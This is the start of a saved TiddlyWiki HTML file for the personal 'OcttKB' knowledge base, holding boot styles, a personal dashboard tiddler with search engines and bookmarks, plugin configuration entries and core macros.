OcttKB/public/index.html

3663 lines
4.7 MiB
HTML
Raw Normal View History

<!doctype html>
<!-- The following comment is called a MOTW comment and is necessary for the TiddlyIE Internet Explorer extension -->
<!-- saved from url=(0021)https://tiddlywiki.com -->
<html lang="en-GB">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<!--~~ Raw markup for the top of the head section ~~-->
<meta http-equiv="X-UA-Compatible" content="IE=Edge"/>
2022-09-23 13:29:26 +00:00
<meta name="application-name" content="TiddlyWiki" />
<meta name="generator" content="TiddlyWiki" />
<meta name="tiddlywiki-version" content="5.2.3" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="mobile-web-app-capable" content="yes"/>
<meta name="format-detection" content="telephone=no" />
<meta name="copyright" content="TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)
Copyright (c) 2004-2007, Jeremy Ruston
Copyright (c) 2007-2022, UnaMesa Association
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." />
<link id="faviconLink" rel="shortcut icon" href="favicon.ico">
2023-01-10 23:03:54 +00:00
<title>OcttKB — Octt Knowledge Base || Static version available at ./Static.html.</title>
<!--~~ This is a Tiddlywiki file. The points of interest in the file are marked with this pattern ~~-->
<!--~~ Raw markup ~~-->
</head>
<body class="tc-body">
<!--~~ Raw markup for the top of the body section ~~-->
<!--~~ Static styles ~~-->
<div id="styleArea">
<style data-tiddler-title="$:/boot/boot.css" data-tiddler-type="text/css" type="text/css">/*
Basic styles used before we boot up the parsing engine
*/
/*
Error message and password prompt
*/
.tc-error-form {
font-family: sans-serif;
color: #fff;
z-index: 20000;
position: fixed;
background-color: rgb(255, 75, 75);
border: 8px solid rgb(255, 0, 0);
border-radius: 8px;
width: 50%;
margin-left: 25%;
margin-top: 4em;
padding: 0 2em 1em 2em;
}
.tc-error-form h1 {
text-align: center;
}
.tc-error-prompt {
text-align: center;
color: #000;
}
.tc-error-message {
overflow: auto;
max-height: 40em;
padding-right: 1em;
margin: 1em 0;
white-space: pre-line;
}
.tc-password-wrapper {
font-family: sans-serif;
z-index: 20000;
position: fixed;
text-align: center;
width: 200px;
top: 4em;
left: 50%;
margin-left: -144px; /* - width/2 - paddingHorz/2 - border */
padding: 16px 16px 16px 16px;
border-radius: 8px;
}
.tc-password-wrapper {
color: #000;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
background-color: rgb(197, 235, 183);
border: 8px solid rgb(164, 197, 152);
}
.tc-password-wrapper form {
text-align: left;
}
.tc-password-wrapper h1 {
font-size: 16px;
line-height: 20px;
padding-bottom: 16px;
}
.tc-password-wrapper input {
width: 100%;
}
</style>
</div>
<!--~~ Static content for Google and browsers without JavaScript ~~-->
<noscript>
<div id="splashArea">
2022-09-24 19:35:36 +00:00
<p>If you're reading this, then your browser isn't executing JavaScript code (properly, or at all).</p><p>If you disabled JS on purpose, you may want to read the <strong>no-JS KB</strong>: <a class="tc-tiddlylink-external" href="./Static.html" rel="noopener noreferrer" target="_blank">./Static.html</a>;</p><p>If you, instead, don't know why you're seeing this:</p><ul><li><a class="tc-tiddlylink-external" href="http://web.archive.org/web/20220920042154/https://www.enable-javascript.com" rel="noopener noreferrer" target="_blank">Enable JavaScript</a>, if you have it disabled;</li><li>Update your browser, if it's years out-of-date.</li></ul>
<style>
.tc-remove-when-wiki-loaded {display: none;}
</style>
</div>
</noscript>
<!--~~ Ordinary tiddlers ~~-->
<script class="tiddlywiki-tiddler-store" type="application/json">[
2023-02-06 11:43:53 +00:00
{"created":"20230109221113895","creator":"Octt","text":"\u003C\u003C{ OcttKB>>","tags":"Meta $:/i18n:en","title":"~Welcome~","modified":"20230206111552035","modifier":"Octt"},
2023-01-08 19:12:06 +00:00
{"created":"20221108215403917","text":"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n\u003Cstyle>\n:Root {\n\t--BodyMargin: 8px;\n}\n\nBody {\n\tText-Align: Center;\n\tUser-Select: None;\n\tFont-Family: Sans-Serif;\n\tMargin: Var(--BodyMargin);\n}\n\nA {\n\tColor: #000000;\n\tText-Decoration: None;\n}\nUl {\n\tText-Align: Left;\n\tList-Style: None;\n\tColumn-Count: 1;\n\tMargin-Top: 8px;\n\tMargin-Bottom: 8px;\n\tPadding-Left: 0px;\n\tPadding-Right: 0px;\n}\nLi {\n\tLine-Height: 1.75em;\n\tFont-Size: Larger;\n\tPadding-Left: 8px;\n\tPadding-Right: 8px;\n}\nLi:Hover {\n\tBackground: LightGray;\n}\n\n.SimpleList Li {\n\tWidth: Fit-Content;\n\tWhite-Space: NoWrap;\n}\n\n.TextLineImg {\n\tWidth: 1em;\n\tHeight: 1em;\n\tVertical-Align: Text-Top;\n\tPadding-Right: 8px;\n}\n.Margin4 {\n\tMargin: 4px;\n}\n\n.Dropdown {\n\t/*Position: Relative;*/\n\t/*Display: Inline-Block;*/\n}\n.DropdownBtn {\n\tCursor: Pointer;\n\tBackground: LightGray;\n\tColor: Black;\n}\n.DropdownBody {\n\tDisplay: None;\n\tPosition: Absolute;\n\tWidth: Max-Content;\n\tBackground: White;\n\tBox-Shadow: 0px 8px 8px 0px RGBA(0,0,0,0.2);\n\tZ-Index: 1;\n}\n.DropdownBtn:Hover ~ .DropdownBody,\n.DropdownBody:Hover {\n\tDisplay: Block;\n\t/*Position: Absolute;*/\n}\n.Dropdown Li {\n\tCursor: Pointer;\n\tText-Align: Center;\n}\n.SearchDiv {\n\tWidth: Max-Content;\n}\n.DropdownBtn, Input[Type=\"Text\"] {\n\tFont-Size: Larger;\n}\n\u003C/style>\n\u003C/head>\n\u003Cbody>\n\u003Cdiv id=\"ClockDiv\" style=\"/*Margin: Calc(Var(--BodyMargin) * -1); Background:Black; Color: White;*/\">\n\t\u003Ch2 id=\"ClockTime\" class=\"Margin4\">\u003C/h2>\n\t\u003Cp id=\"ClockDate\" class=\"Margin4\">\u003C/p>\n\u003C/div>\n\u003Chr>\n\u003Ctable id=\"SearchDiv\">\u003Ctr>\n\u003Ctd>\n\t\u003Cdiv class=\"Dropdown\">\n\t\t\u003Cbutton class=\"DropdownBtn\" id=\"EnginesBtn\" style=\"Width:Max-Content;\">\u003Cimg id=\"EnginesCurrentIcon\" class=\"TextLineImg\" style=\"Vertical-Align:Sub;\">\u003Cspan id=\"EnginesCurrent\">\u003C/span>\u003C/button>\n\t\t\u003Cdiv class=\"DropdownBody\" id=\"EnginesDropdown\">\n\t\t\t\u003Cul id=\"EnginesList\">\u003C/ul>\n\t\t\u003C/div>\n\t\u003C/div>\n\u003C/td>\u003Ctd style=\"Width:100%;\">\n\t\u003Cinput type=\"text\" id=\"SearchInput\" onfocus=\"this.select();\" style=\"Width:Calc(100% - Var(--BodyMargin));\">\n\u003C/td>\n\u003C/tr>\u003C/table>\n\u003Cul id=\"BookmarksList\" class=\"SimpleList\">\u003C/ul>\n\n\u003Cscript>\nconst SearchEngines = {\n\t\"Whoogle\": \"https://www.whoogle.click/search?q=\",\n\t\"Wikipedia [\u003Ctt>EN\u003C/tt>]\": \"https://en.wikipedia.org/w/index.php?search=\",\n\t\"Wikipedia [\u003Ctt>IT\u003C/tt>]\": \"https://it.wikipedia.org/w/index.php?search=\",\n\t\"Invidious\": \"https://invidious.baczek.me/search?q=\",\n\t\"WordReference [\u003Ctt>EN-&gt;IT\u003C/tt>]\": \"https://www.wordreference.com/enit/\",\n\t\"WordReference [\u003Ctt>IT-&gt;EN\u003C/tt>]\": \"https://www.wordreference.com/iten/\"\n};\n\nconst Bookmarks = `\nhttp://octt.ddns.net:8017 FreshRSS;\nhttp://octt.ddns.net:8036 Wallabag;\nhttps://cryptpad.devol.it/drive CryptPad;\nhttps://www.deepl.com/translator DeepL;\nhttps://gitea.it Gitea;\nhttps://github.com GitHub;\nhttps://gitlab.com GitLab;\nhttps://librespeed.org LibreSpeed;\nhttps://odysee.com Odysee;\nhttps://www.openstreetmap.org OpenStreetMap;\nhttps://app.standardnotes.com Standard Notes;\nhttps://temp-mail.org/en Temp Mail;\nhttps://voidlinux.org/packages Void Linux/Packages;\nhttps://www.wikipedia.org Wikipedia;\nhttps://mail.yahoo.com Yahoo Mail;\n`;\n\nfunction GetImgAverageColor(Img) {\n\tconst colorThief = new ColorThief();\n\tif (Img.complete) {\n\t\treturn colorThief.getColor(Img);\n\t} else {\n\t\timage.addEventListener(\"load\", function() {\n\t\t\treturn colorThief.getColor(Img);\n\t\t});\n\t};\n};\n\n/* https://stackoverflow.com/a/2998874 */\nfunction ZeroPad(Num, Pad) {\n\tvar Zero = Pad - Num.toString().length + 1;\n\treturn Array(+(Zero > 0 && Zero)).join(\"0\") + Num;\n};\nfunction TimePad(Num) {\n\treturn ZeroPad(Num, 2);\n};\n\nfunction SetTime() {\n\tlet Time = new Date
2022-11-08 23:09:59 +00:00
{"created":"20221108222403364","text":":Root {\n\t--BodyMargin: 8px;\n}\n\nBody {\n\tText-Align: Center;\n\tUser-Select: None;\n\tFont-Family: Sans-Serif;\n\tMargin: Var(--BodyMargin);\n}\n\nA {\n\tColor: Black;\n\tText-Decoration: None;\n}\nUl {\n\tText-Align: Left;\n\tList-Style: None;\n\tColumn-Count: 1;\n\tMargin-Top: 8px;\n\tMargin-Bottom: 8px;\n\tPadding-Left: 0px;\n\tPadding-Right: 0px;\n}\nLi {\n\tLine-Height: 1.75em;\n\tFont-Size: Larger;\n\tPadding-Left: 8px;\n\tPadding-Right: 8px;\n}\nLi:Hover {\n\tBackground: LightGray;\n}\n\n.SimpleList Li {\n\tWidth: Fit-Content;\n}\n\n.TextLineImg {\n\tWidth: 1em;\n\tHeight: 1em;\n\tVertical-Align: Text-Top;\n\tPadding-Right: 8px;\n}\n.Margin4 {\n\tMargin: 4px;\n}\n\n.Dropdown {\n\tPosition: Relative;\n\tDisplay: Inline-Block;\n}\n.DropdownBtn {\n\tCursor: Pointer;\n\tBackground: LightGray;\n\tColor: Black;\n}\n.DropdownBody {\n\tDisplay: None;\n\tPosition: Absolute;\n\tWidth: Max-Content;\n\tBackground: White;\n\tBox-Shadow: 0px 8px 8px 0px RGBA(0,0,0,0.2);\n\tZ-Index: 1;\n}\n.DropdownBtn:Hover ~ .DropdownBody,\n.DropdownBody:Hover {\n\tDisplay: Block;\n\tPosition: Absolute;\n}\n.Dropdown Li {\n\tCursor: Pointer;\n\tText-Align: Center;\n}\n.SearchDiv {\n\tWidth: Max-Content;\n}\n.DropdownBtn, Input[Type=\"Text\"] {\n\tFont-Size: Larger;\n}","tags":"","title":"$:/Apps/Dashboard/Style.css","modified":"20221108222437545","type":"text/css"},
2023-02-06 11:43:53 +00:00
{"created":"20230206111434304","creator":"Octt","text":"\\import [all[shadows+tiddlers]tag[$:/tags/Commander/Macro]]\n{{$:/plugins/kookma/commander/search/ui}}\n\u003C!-- Create the search filter based on searchbox and selective operation (if active) -->\n\u003C$vars searchTerms={{{ [\u003CsearchboxTid>get[text]minlength{$:/plugins/kookma/commander/config/minlength}]~[[$:/errorCode:-23500]] }}} pattern=\"^\\[\">\u003C!-- this part checks the combo search and selective ops-->\n\u003C$set name=\"filtertext\" filter=\"[\u003CsearchTerms>regexp\u003Cpattern>]\" value=\"[subfilter\u003CsearchTerms>]\" emptyValue=\"[!is[system]search\u003CsearchTerms>]\">\n\u003C$set name=\"searchfilter\" filter=\"[\u003CselectiveOpsTid>get[text]match[yes]]\" \n\tvalue=\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]]+[tag\u003CworkingTag>]\" emptyValue=\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]]\" >\n\u003Csmall style=\"margin-left:17ch;\">\u003Ci>\u003C$count filter=\"[subfilter\u003Cfiltertext>!prefix[$:/temp/commander]!is[missing]]\" /> matches \u003C/i>\u003C/small>\n\n\u003C!-- Display search results and let selective operation -->\n\u003C\u003Ccommander-slider title:\"$:/plugins/kookma/commander/search/selection\" default:\"open\">>\n\n\u003C!-- Display operation UIs-->\n\u003C\u003Ctabs \"[all[shadows+tiddlers]tag[$:/tags/Commander]!has[draft.of]]\" default:\"$:/plugins/kookma/commander/tiddler/ui\">>\n\n\u003C/$set>\n\u003C/$set>\n\u003C$vars>\n\n---\n\n\u003C\u003Ccommander-slider title:\"$:/plugins/kookma/commander/log/ui\">>\n","title":"$:/Commander","icon":"$:/plugins/kookma/commander/images/commander.svg","type":"text/vnd.tiddlywiki","modified":"20230206111436542","modifier":"Octt","tags":"$:/Tools"},
2022-09-20 16:14:12 +00:00
{"created":"20220920161126651","title":"$:/config/AnimationDuration","text":"128","modified":"20220920161139099"},
2022-11-04 18:23:03 +00:00
{"created":"20221104154054601","title":"$:/config/AutoSave","text":"no","modified":"20221104154054601"},
2022-11-04 19:11:13 +00:00
{"created":"20221104184248423","text":"true","title":"$:/config/codemirror/autoCloseTags","type":"bool","modified":"20221104184248423"},
{"created":"20221104184231794","text":"true","title":"$:/config/codemirror/lineNumbers","type":"bool","modified":"20221104184231794"},
{"created":"20221104184252800","text":"true","title":"$:/config/codemirror/styleActiveLine","type":"bool","modified":"20221104184252800"},
{"created":"20221104184422174","title":"$:/config/codemirror/tabSize","type":"integer","text":"2","modified":"20221104184424078"},
2023-01-09 12:58:43 +00:00
{"created":"20230109112444017","title":"$:/config/DefaultSidebarTab","text":"TableOfContents","modified":"20230109112444018"},
2023-02-06 22:43:30 +00:00
{"created":"20230203214457411","creator":"Octt","title":"$:/config/Manager/RecentTags","list":"$:/tags/Commander/Working Unix Tetris DIY Gaming Nintendo Game Console App Matrix.org Android Legal","modified":"20230206222446136","modifier":"Octt"},
2022-09-20 16:14:12 +00:00
{"created":"20220920161308377","title":"$:/config/Manager/Show","text":"tiddlers","modified":"20220920161309789"},
2023-02-03 23:06:07 +00:00
{"created":"20230203215732789","creator":"Octt","text":"system","title":"$:/config/Manager/System","modified":"20230203215744445","modifier":"Octt"},
2022-09-20 16:14:12 +00:00
{"created":"20220920161346918","title":"$:/config/Manager/Tag","text":"","modified":"20220920161349499"},
{"created":"20220920084945618","title":"$:/config/NewJournal/Title","text":"YYYY-MM-DD","modified":"20220920085019290"},
2023-01-10 23:03:54 +00:00
{"created":"20230110211056385","title":"$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding","text":"20px 20px 20px 20px","modified":"20230110230321263"},
{"created":"20220920092318354","text":"show","title":"$:/config/PageControlButtons/Visibility/$:/core/ui/Buttons/more-page-actions","modified":"20220920092318355"},
2023-01-29 00:07:39 +00:00
{"created":"20230128224610468","creator":"Octt","text":"hide","title":"$:/config/PageControlButtons/Visibility/$:/plugins/kookma/commander/buttons/pagecontrol","modified":"20230128224610468","modifier":"Octt"},
2023-01-29 13:17:12 +00:00
{"created":"20230129120434151","creator":"Octt","text":"show","title":"$:/config/PageControlButtons/Visibility/$:/Styles/Ribbon.xml","modified":"20230129120436862","modifier":"Octt"},
2023-01-24 15:01:45 +00:00
{"created":"20230124125356042","creator":"Octt","title":"$:/config/Plugins/Disabled/$:/plugins/Gk0Wk/focused-tiddler","text":"yes","modified":"20230124125356042","modifier":"Octt"},
2023-01-17 13:05:45 +00:00
{"created":"20230108130329061","creator":"Octt","title":"$:/config/Plugins/Disabled/$:/plugins/tiddlywiki/codemirror","text":"no","modified":"20230117124128421","modifier":"Octt"},
2022-11-08 10:14:14 +00:00
{"created":"20221108100223854","title":"$:/config/Plugins/Disabled/$:/plugins/tiddlywiki/codemirror-mode-x-tiddlywiki","text":"yes","modified":"20221108100223855"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195709898","title":"$:/config/Plugins/Disabled/$:/plugins/tiddlywiki/railroad","text":"yes","modified":"20230108195709898"},
2022-11-09 16:46:40 +00:00
{"created":"20221109152210013","title":"$:/config/plugins/text-slicer/output-mode","text":"wiki","modified":"20221109152210013"},
2023-01-08 20:13:51 +00:00
{"created":"20230108195817651","title":"$:/config/plugins/tiddlywiki/qrcode/generic","text":"","modified":"20230108195828589"},
2023-02-06 19:56:30 +00:00
{"created":"20220920160922870","creator":"Octt","text":"yes","title":"$:/config/RelinkOnRename","modified":"20230206193110112","modifier":"Octt"},
2023-01-10 23:03:54 +00:00
{"created":"20230110194756813","title":"$:/config/TiddlyTools/FindTags","type":"application/json","text":"{}","modified":"20230110225135410"},
{"created":"20230110194656524","title":"$:/config/TiddlyTools/PowerSearch","type":"application/json","text":"{\n \"field\": \"\"\n}","modified":"20230110225152853"},
2023-01-09 23:37:27 +00:00
{"created":"20230109220405675","text":"","title":"$:/config/TiddlyTools/TagCloud","taglist":"","modified":"20230109222559184","sortorder":"name"},
2022-11-04 18:39:36 +00:00
{"created":"20221104182441699","text":"yes","title":"$:/config/Toolbar/Icons","modified":"20221104182449747"},
2022-11-09 16:46:40 +00:00
{"created":"20221109160731043","text":"show","title":"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/fold","modified":"20221109160731043"},
{"created":"20220921221203238","text":"hide","title":"$:/config/ViewToolbarButtons/Visibility/$:/core/ui/Buttons/permalink","modified":"20221109164620192"},
2022-11-04 18:39:36 +00:00
{"created":"20221104182552915","text":"hide","title":"$:/config/ViewToolbarButtons/Visibility/$:/plugins/tiddlywiki/qrcode/ViewToolbarButton","modified":"20221104182552915"},
2022-11-09 16:46:40 +00:00
{"created":"20221109152237232","text":"hide","title":"$:/config/ViewToolbarButtons/Visibility/$:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button","modified":"20221109152237232"},
2022-09-21 21:48:22 +00:00
{"created":"20220921203310785","text":"disable","title":"$:/config/WikiParserRules/Inline/wikilink","modified":"20220921203310785"},
{"title":"$:/core","name":"Core","description":"TiddlyWiki5 core","author":"JeremyRuston","core-version":">=5.0.0","plugin-priority":"0","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/Acknowledgements\":{\"title\":\"$:/Acknowledgements\",\"text\":\"TiddlyWiki incorporates code from these fine OpenSource projects:\\n\\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\\n\\nAnd media from these projects:\\n\\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\\n\"},\"$:/core/copyright.txt\":{\"title\":\"$:/core/copyright.txt\",\"type\":\"text/plain\",\"text\":\"TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\\n\\nCopyright (c) 2004-2007, Jeremy Ruston\\nCopyright (c) 2007-2022, UnaMesa Association\\nAll rights reserved.\\n\\nRedistribution and use in source and binary forms, with or without\\nmodification, are permitted provided that the following conditions are met:\\n\\n* Redistributions of source code must retain the above copyright notice, this\\n list of conditions and the following disclaimer.\\n\\n* Redistributions in binary form must reproduce the above copyright notice,\\n this list of conditions and the following disclaimer in the documentation\\n and/or other materials provided with the distribution.\\n\\n* Neither the name of the copyright holder nor the names of its\\n contributors may be used to endorse or promote products derived from\\n this software without specific prior written permission.\\n\\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"},\"$:/core/icon\":{\"title\":\"$:/core/icon\",\"tags\":\"$:/tags/Image\",\"text\":\"\u003Csvg width=\\\"22pt\\\" height=\\\"22pt\\\" viewBox=\\\"0 0 128 128\\\">\u003Cpath d=\\\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.3
2023-01-24 22:56:26 +00:00
{"created":"20230124215821114","creator":"Octt","text":"\u003Csvg width=\"22pt\" height=\"22pt\" class=\"tc-image-folder tc-image-button\" viewBox=\"0 0 128 128\">\u003Cg fill-rule=\"evenodd\">\u003Cpath d=\"M55.694 128H8C3.58 128 0 124.414 0 119.996V48.004C0 43.584 3.584 40 7.999 40H16v-8c0-4.418 3.578-8 8-8h32a8 8 0 018 8v8h40.001c4.418 0 7.999 3.586 7.999 8.004V59.83l-8-.082v-7.749A4 4 0 0099.997 48H56V36c0-2.21-1.793-4-4.004-4H28.004A4 4 0 0024 36v12H12.003A4 4 0 008 52v64a4 4 0 004.003 4h46.76l-3.069 8z\"/>\u003Cpath d=\"M23.873 55.5h96.003c4.417 0 7.004 4.053 5.774 9.063l-13.344 54.374c-1.228 5.005-5.808 9.063-10.223 9.063H6.08c-4.417 0-7.003-4.053-5.774-9.063L13.65 64.563c1.228-5.005 5.808-9.063 10.223-9.063zm1.78 8.5h87.994c2.211 0 3.504 2.093 2.891 4.666l-11.12 46.668c-.614 2.577-2.902 4.666-5.115 4.666H12.31c-2.211 0-3.504-2.093-2.891-4.666l11.12-46.668C21.152 66.09 23.44 64 25.653 64z\"/>\u003C/g>\u003C/svg>","title":"$:/core/images/folder","tags":"$:/tags/Image","modified":"20230124215843063","modifier":"Octt"},
2022-09-22 15:33:09 +00:00
{"created":"20220922134412096","text":"\\define tabs-button()\n\\whitespace trim\n\u003C$button set=\u003C\u003CtabsState>> setTo=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}} role=\"switch\">\n\t\u003C$tiddler tiddler=\u003C\u003Csave-currentTiddler>>>\n\t\t\u003C$set name=\"tv-wikilinks\" value=\"no\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003C__buttonTemplate__>> mode=\"inline\">\n\t\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> field=\"caption\">\n\t\t\t\t\t\u003C$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n\t\t\t\t\u003C/$transclude>\n\t\t\t\u003C/$transclude>\n\t\t\u003C/$set>\n\t\u003C/$tiddler>\n\t\u003C\u003C__actions__>>\n\u003C/$button>\n\\end\n\n\\define tabs-tab()\n\\whitespace trim\n\u003C$set name=\"save-currentTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\u003C\u003Ctabs-button>>\n\t\u003C/$tiddler>\n\u003C/$set>\n\\end\n\n\\define tabs-tab-list()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__tabsList__>> variable=\"currentTab\" storyview=\"pop\">\n\t\u003C\u003Ctabs-tab>>\n\u003C/$list>\n\\end\n\n\\define tabs-tab-body()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__tabsList__>> variable=\"currentTab\">\n\t\u003C$reveal type=\"match\" state=\u003C\u003CtabsState>> text=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> retain=\u003C\u003C__retain__>> tag=\"div\">\n\t\t\u003C$transclude tiddler=\u003C\u003C__template__>> mode=\"block\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> mode=\"block\"/>\n\t\t\u003C/$transclude>\n\t\u003C/$reveal>\n\u003C/$list>\n\\end\n\n\\define tabs(tabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain,actions,explicitState)\n\\whitespace trim\n\u003C$qualify title=\u003C\u003C__state__>> name=\"qualifiedState\">\n\t\u003C$let tabsState={{{ [\u003C__explicitState__>minlength[1]] ~[\u003CqualifiedState>] }}}>\n\t\t\u003Cdiv class={{{ [[tc-tab-set]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-buttons]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Ctabs-tab-list>>\n\t\t\t\u003C/div>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-divider]addsuffix[ ]addsuffix\u003C__class__>] }}}/>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-content]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Ctabs-tab-body>>\n\t\t\t\u003C/div>\n\t\t\u003C/div>\n\t\u003C/$let>\n\u003C/$qualify>\n\\end\n","title":"$:/core/macros/tabs","tags":"$:/tags/Macro","code-body":"yes","modified":"20220922135318874"},
2023-01-26 20:25:57 +00:00
{"created":"20230126190001604","creator":"Octt","text":"\\define leaf-link(full-title,chunk,separator: \"/\")\n\u003C$link to=\u003C\u003C__full-title__>>>\u003C$text text=\u003C\u003C__chunk__>>/>\u003C/$link>\n\\end\n\n\\define leaf-node(prefix,chunk)\n\\whitespace trim\n\u003Cli>\n\u003C$list filter=\"[\u003C__prefix__>addsuffix\u003C__chunk__>is[shadow]] [\u003C__prefix__>addsuffix\u003C__chunk__>is[tiddler]]\" variable=\"full-title\">\n\u003C$list filter=\"[\u003Cfull-title>removeprefix\u003C__prefix__>]\" variable=\"chunk\">\n\u003Cspan>{{$:/core/images/file}}\u003C/span>&#32;\u003C$macrocall $name=\"leaf-link\" full-title=\u003C\u003Cfull-title>> chunk=\u003C\u003Cchunk>>/>\n\u003C/$list>\n\u003C/$list>\n\u003C/li>\n\\end\n\n\\define branch-node(prefix,chunk,separator: \"/\")\n\\whitespace trim\n\u003Cli>\n\u003C$set name=\"reveal-state\" value={{{ [[$:/state/tree/]addsuffix\u003C__prefix__>addsuffix\u003C__chunk__>] }}}>\n\u003C$reveal type=\"nomatch\" stateTitle=\u003C\u003Creveal-state>> text=\"show\">\n\u003C$button setTitle=\u003C\u003Creveal-state>> setTo=\"show\" class=\"tc-btn-invisible\">\n{{$:/core/images/folder}}&#32;\u003C$text 